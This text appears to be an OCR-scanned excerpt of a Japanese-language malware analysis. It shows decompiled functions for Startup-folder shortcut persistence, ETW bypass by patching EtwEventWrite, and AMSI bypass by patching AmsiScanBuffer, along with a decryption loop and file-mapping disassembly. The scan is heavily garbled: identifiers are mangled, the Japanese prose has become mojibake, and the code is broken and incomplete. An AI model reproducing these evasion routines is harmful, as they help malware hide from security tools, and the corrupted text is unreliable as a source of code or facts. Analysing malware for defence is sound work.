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for i in range (len(enc data)):
data = ord(enc _datal[i]) * 0x20 * ord(key[i % len(key)])
dec_data.append (data)
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ERESLLT mal_setup_startup()

HRESULT result; // eax

WCHAR Filename; // [esp+dh] [ebp-414h]
WCHAR pszPath; // [esp+20ch] [ebp-20ch]
GetModuleFileNamew(0, &Filename, 0x104u);
result = SHGetFolderPathw(0, CSIDL_COMMON_STARTUP, 0, 0, &pszpPath);
it ( result == 0 )
{
wcscat_s(&pszPath, O0x104u, L"\\VizoHtmlIDialog.Tnk");
result = mal_create_lnk_f1l1e();
it ( ' {_BYTE)result )
{
result = SHGetFolderPathw(0, CSIDL_STARTUP, 0, 0, &pszpPath);
it ( result »>= 0 )
{

wecscat_s(&pszPath, 0x104u, L"\\VizoHtmlDialog. Ink");
result = mal_create_lInk_file();
}
}
1

return result;

}
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HUI Loaderd™ (Z(F. WindowsOShtz+ 2 1) 5 « #BET4H 5. Event Tracing for Windows (ETW) H L

Antimalware Scan Interface (AMSI)

R4(3. ETWEH L UAMSIZ /N /X2 % 0— FO—BFTY.

int mal_ETW_bypass ()
{

HMODULE ModuleHandleA; //
FARPROC Ethventwrwte // rbx
HANDLE Cur cos 7
HANDLE v3; // rax

HANDLE v4; // rax

char Buffer[4]; // [rsp+30h]
DWORD f]O]dProtect // ["'“
CHAR Modu]eName[16] JfIr

Buffer[0] = 0x(3
strepy (M =
Modu ] &

"ntd11.d11");
GetHodu]eHand]eA(

duleName);

:"7*. = GetProcAddress (ModuleHandTleA
cess = GetCurrentProcess()
ua1P|otectEx( ur "ocess, EtwEventw
'3 = Get(urnentProcess()
Lr1teProcessHemory( twEventW
vd = GetCurlentProcess()
LODWDRD( uleHandleA) = virtualProtectEx(vd, EtwEventw

, | '"EtwEventwrite™]);

rite,

rite, iffer, luibd, 0i64);

rite,

return (int)ModuleHandleA;

RI3: ETWA /N1 /X2 9% 21— FH)

ass ()

HMODULE ModuleHandleA; //
HRESULT (__stdc. H #ams iscanBuffer) (HAMSTICONTEXT, PVOID, ULONG, LPCWSTR, HMAMSTISESSION, AMSI_RESULT *); //
s /1 rax

ALY
OWORD f-l()ldP ote ct; I
CHAR ModuleName[16]; /1’

[0 0(3
strepy(
if
{

LODWORD (¢ ) = VirtualProtectEx(ud, A , luibd,
v (intMod

, 0i64);

}

l4 AMSI% /N1 /X2¢ % 0—

1uibd, Ox40u, &F10Tdprotec

1uib4, floldPr

HENANATHIEA#BRET 22— FE&FO >N HGFELET. BB LU
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lea r8d, Lrsi+d] ; tiProtect push 0 , | pName

xor r9d, rod ; dwMaximumsizeHigh push 0 dwMaximumsizelow

xor edx, edx ; 'IpFﬂeMapp'mgAttnhutes push a ; dwMaximumsizeHigh

mov rex, rax push 4 ; flProtect

mow qwoud ptu [|smldomdmﬂ‘cgsmulmlr ibutes], rsi ;| mov esi, eax

mowv rbx push 0 P TpFileMappingattributes

mowv [| sp+140h+d».(| eationDisposition], esi ; dwMaximu push hFile

call cs:CreatefileMappingw call ds Lreate?ﬂe appn\gh

mowv rdi, rax mov edi, eax

test rax, rax test edi, edi

jnz short loc_180002494 jnz short 1oc_10002464

xor ecx ecx ; Code push eax ; Code

call call exit

align 4

; CODE XREF: StartAddress+10CTj
: CODE XREF: startAaddress+21A[j lea il LobpoButfoc]

xor edx, edx i 'lpﬁ lesizeHigh push IuFFset aHuihwasdihweiu ; "HUIHWASDIHWE IUDHDSF SFEFWEFEWFDSGE A |

mowv rex, rbx ; hFile push H Trer

call cs:GetFilesize call swprintf

mov rex, rbx ect add esp, 8

MoV €s: dwold 180019554 eax push 0 ; 1pFileSizeHigh

call es:CloseHandle push es1 : hFile

xor r9d, r9d ; dwFileoffsetlow call ds:GetFilesize

lea edx, [r9+4] ; dwDesiredaccess push esi ; hobject

xor r8d, réd ; dwFileoffsetHigh moy nSize, eax

mowv rex, rdi ; hFileMappingObject call ds:CloseHandle

mov qword ptr [rsp+l40h+dwCreationDisposition], rsi | push 0 ; dwNumberOfBytesToMap

call cs:MapViewdfFile push 0 ; dwFileOffsetLow

. ToTmmTmTee push 0 ; dwFileoffsetHigh

push 4 ; dwDesiredAccess
push edi ; hFileMappingobject
call ds:MapViewnfFile
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